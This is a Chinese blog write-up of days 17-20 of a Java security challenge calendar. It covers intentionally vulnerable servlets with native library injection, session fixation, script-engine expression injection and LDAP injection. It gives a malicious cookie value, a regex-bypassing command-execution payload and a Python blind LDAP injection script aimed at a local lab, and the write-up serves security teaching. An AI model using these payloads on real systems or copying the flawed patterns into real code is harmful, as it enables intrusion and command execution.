java_security_calendar_2019(day17-day20)

Day17

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class JavaDeobfuscatorStartupController extends HttpServlet {
private static boolean isInBlacklist(String input) {
String[] blacklist = {"java","os","file"};
return Arrays.asList(blacklist).contains(input);
}

private static void setEnv(String key, String value) {
String[] values = key.split(Pattern.quote("."));
if (isInBlacklist(values[0])) {
return;
}

List<String> list = new ArrayList<>(Arrays.asList(values));
list.removeAll(Arrays.asList("", null));
String property = String.join(".", list);
System.setProperty(property, value);
}

private static void loadEnv(HttpServletRequest request) {
Cookie[] cookies = request.getCookies();
for (int i = 0; i < cookies.length; i++)
if (cookies[i].getName().equals("env")) {
String[] tmp = cookies[i].getValue().split("@", 2);
setEnv(tmp[0], tmp[1]);
}
}

private static void uploadFile() {
// Secure file upload with arbitrary content type and extension in known path /var/myapp/data
}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
loadEnv(request);
try {
final Field sysPathsField = ClassLoader.class.getDeclaredField("sys_paths");
sysPathsField.setAccessible(true);
sysPathsField.set(null, null);
System.loadLibrary("DEOBFUSCATION_LIB");
} catch (Exception e) {
response.sendRedirect("/");
}
}

首先用户上传一个"libDEOBFUSCATION_LIB.so"文件(System.loadLibrary()方法会对库名增加一个lib的前缀后.so的后缀)。服务端通过cookie来获得env的值,并用@将其分割,并执行setEnv()方法。该方法对key值做简单的黑名单校验后,用System.setProperty()方法对环境变量进行设置。恶意用户将cookie 中env的值修改为"env=.java.library.path@/var/myapp/data"进行库注入攻击。

1
gcc -shared -fPIC libDEOBFUSCATION_LIB.c -o libDEOBFUSCATION_LIB.so -ldl

libDEOBFUSCATION_LIB.c文件

Day18

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public class LoadConfig extends HttpServlet {
public static HashMap<String, String> parseRequest(String value) {
HashMap<String, String> result = new HashMap<String, String>();
if (value != null) {
String tmp[] = value.split("@");
for (int i = 0; i < tmp.length; i = i + 2) {
result.put(tmp[i], tmp[i + 1]);
}
}
return result;
}

protected void doGet(HttpServletRequest request, HttpServletResponse response) {
if (request.getParameter("home") != null) {
HttpSession session = request.getSession(true);
if (!session.isNew()){
if (validBasicAuthHeader()) { // Checks the Basic Authorization header (password check)
// Execute last command:
ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command((String)session.getAttribute("last_command"));
try {
Process process = processBuilder.start();
IOUtils.copy(process.getInputStream(), response.getOutputStream());
}
catch (Exception e){
return;
}
}
}
} else if (request.getParameter("save_session") != null) {
String value = request.getParameter("config");
HashMap<String, String> config = parseRequest(value);
for (String i : config.keySet()) {
Cookie settings = new Cookie(i, config.get(i));
response.addCookie(settings);
}
} else {
HttpSession session = request.getSession(true);
if (session.isNew()) {
HashMap<String, String> whitelist = new HashMap<String, String>();
whitelist.put("home", "yes");
whitelist.put("role", "frontend");

String value = request.getParameter("config");
HashMap<String, String> config = parseRequest(value);

whitelist.putAll(config);
for (String i : whitelist.keySet()) {
session.setAttribute(i, whitelist.get(i));
}
}
}
}
}

看了两遍没想到哪里出了问题,看了下提示说是会话固定漏洞。有了方向,大致理一下代码片段的逻辑:

  1. 开头的静态方法仅做数值处理功能,通过@来分隔字符串;
  2. 如果传参有home,通过认证后则执行last_command
  3. 如果传参有save_session,将config传入的值加入到cookie中;此处存在会话固定漏洞,"config"传入恶意用户构造的链接,让受害者点击,session可能会被修改。
  4. 如果这两个参数都没有,新建一个whitelite,处理config参数,并加入到whitelist中。由于用户输入的"config"可控,可通过其来控制last_command来实现命令注入的目的。

在此仅做简要证明,左别的终端代表攻击者,右边的终端代表受害者,可看到受害者的”sesion”已变成攻击都的”session”。若此前恶意用户已将”last_command”命令传入自已的会话中,此时可执行shell命令。

Day19

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class RenderExpression extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
try {
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");

String dynamiceCodeHere = request.getParameter("p");
if (!dynamiceCodeHere.startsWith("\"")) {
throw new Exception();
}

Pattern p = Pattern.compile("([^\".()'\\/,a-zA-z\\s\\\\])|(processbuilder|file|url|runtime|getclass|forname|loadclass|new\\s)");
Matcher m = p.matcher(dynamiceCodeHere.toLowerCase());
if (m.find()) {
throw new Exception();
}

scriptEngine.eval(dynamiceCodeHere);
// Proceed
} catch(Exception e) {
response.sendRedirect("/");
}
}
}

关键代码块逻辑很简单,首先用户传入的值进行下校验,要求以"""打头,并且通过黑名单过滤,之后便使用js引擎的eval()方法直接调用执行,这样导致了表达式注入。自已构造的一直执行不了,用官方的试了下也是不行,调试发现都是绕过了正则,无法执行命令,不清楚哪里出了问题,也可能环境有点问题。
官方payload:

1
p="".equals(javax.script.ScriptEngineManager.class.getConstructor().newInstance().getEngineByExtension("js").eval("java.lang.Auntime.getAuntime().exec(\"touch /tmp/owned.jsp\")".replaceAll("A","R")))

思路也很简单,通过反射来调用javax.scripts.ScriptEngineManager类,实例化一个新的对象后,利用eval方法去执行恶意的命令代码,用字符替换的方式绕过正则的的校验。

Day20

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
public class UserController extends HttpServlet {
// This token is SHA-256(createTimestamp of admin user)
private static final String api_token = "1c4e98fc43d0385e67cd6de8c32f969f371eba8ab84053858b5bfd21a2adb471";

private static void executeCommand(String user_token, String[] cmd) {
if (user_token.equals(api_token)) {
// Execute shell command
}
}

/**
* Current attributes of objectClass "simpleSecurityObject":
* createtimestamp, creatorsname, dn, entrycsn, entrydn, entryuuid, objectclass, userpassword, uuid
*/
private static DirContext initLdap() throws NamingException {
Hashtable<String, Object> env = new Hashtable<String, Object>();
env.put(Context.SECURITY_AUTHENTICATION, "simple");
env.put(Context.SECURITY_PRINCIPAL, "cn=admin,dc=example,dc=org");
env.put(Context.SECURITY_CREDENTIALS, "admin");
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:389/");
return new InitialDirContext(env);
}

private static boolean userExists(DirContext ctx, String username) throws Exception {
String[] security_blacklist = {"uuid", "userpassword", "surname", "mail", "givenName", "name", "cn", "sn", "objectclass", "|", "&"};
for (String name : security_blacklist) {
if (username.contains(name)) {
throw new Exception();
}
}

String searchFilter = "(&(objectClass=simpleSecurityObject)(uid="+username+"))";
SearchControls searchControls = new SearchControls();
searchControls.setSearchScope(SearchControls.SUBTREE_SCOPE);
NamingEnumeration<SearchResult> results = ctx.search("dc=example,dc=org", searchFilter, searchControls);
if (results.hasMoreElements()) {
SearchResult searchResult = (SearchResult) results.nextElement();
return searchResult != null;
}
return false;
}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
try {
DirContext ctx = initLdap();
if(userExists(ctx, request.getParameter("username"))){
response.getOutputStream().print("User is found.");
response.getOutputStream().close();
}
} catch (Exception e) {
response.sendRedirect("/");
}
}
}

ldap环境搭建:

  1. 拉取镜像
    docker pull osixia/openldap:1.3.0

  2. 运行容器
    docker run -d -p 389:389 -p 636:636 --name ldap osixia/openldap:1.3.0

  3. 创建并进入映射目录
    mkdir -p ~/Desktop/ldap && cd ~/Desktop/ldap

  4. 创建test.ldif文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    dn: cn=admin,dc=example,dc=org
    objectClass: simpleSecurityObject
    objectClass: inetOrgPerson
    cn: lingwu
    sn: ad
    uid: admin
    userPassword:: e1NTSEF9MUZZSGhRWUNqaXhxWXorRkhlN0M0VkZBUG5QTnVXZGo=
    mail: lingwu@test.com
    description: lingwu test
  5. 运行:
    docker run -d -p 389:389 -p 636:636 -v ~/Desktop/ldap:/usr/local/ldap --name ldap osixia/openldap:1.3.0

  6. 添加用户
    ldapadd -x -H ldap://localhost:389 -D "cn=admin,dc=example,dc=org" -w admin -f test.ldif

  1. 进入容器,验证一下是否可用
    1
    2
    3
    4
    先进入容器:
    `docker exec -it ldap /bin/bash`
    再进行查询:
    `ldapsearch -x -H ldap://localhost:389 -b dc=example,dc=org -D "cn=admin,dc=example,dc=org" -w admin`
    也直接在容器外执行查询:

docker exec -it ldap ldapsearch -x -H ldap://localhost:389 -b dc=example,dc=org -D "cn=admin,dc=example,dc=org" -w admin

删除:
ldapdelete -x -H ldap://localhost:389 -D "cn=admin,dc=example,dc=org" -w admin "cn=lingwu,dc=example,dc=org"

ldap注入漏洞,首先userExists()方法对用户输入的username值进行黑名单校验,由于是黑名单校验,可以发现并未对代码块中的createTimestamp等值进行校验。同时可以看到searchFilter是参数拼接的形式,此时恶意用户可需构造恶意的请求,通过返回不同进行查询createTimestamp字段。最后可以利用获得到的createTimestamp生成api_token,通过executeCommand()方法,执行shell命令。

这里为了方便,直接对新增的description字段进行注入。

简单写个python脚本,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url = "http://127.0.0.1:8888/day20/user?username=admin)(description="
# char = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
chars = 'abcdefghijklmnopqrstuvwxyz'+' '
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}
description=""
print("description的值------>")

while True:
for char in chars:
u =url + description +char+ "*"
req = requests.get(u,headers=headers)
if("User is found." in req.text):
description=description+char
print("description的值:"+description)
break

执行结果如下: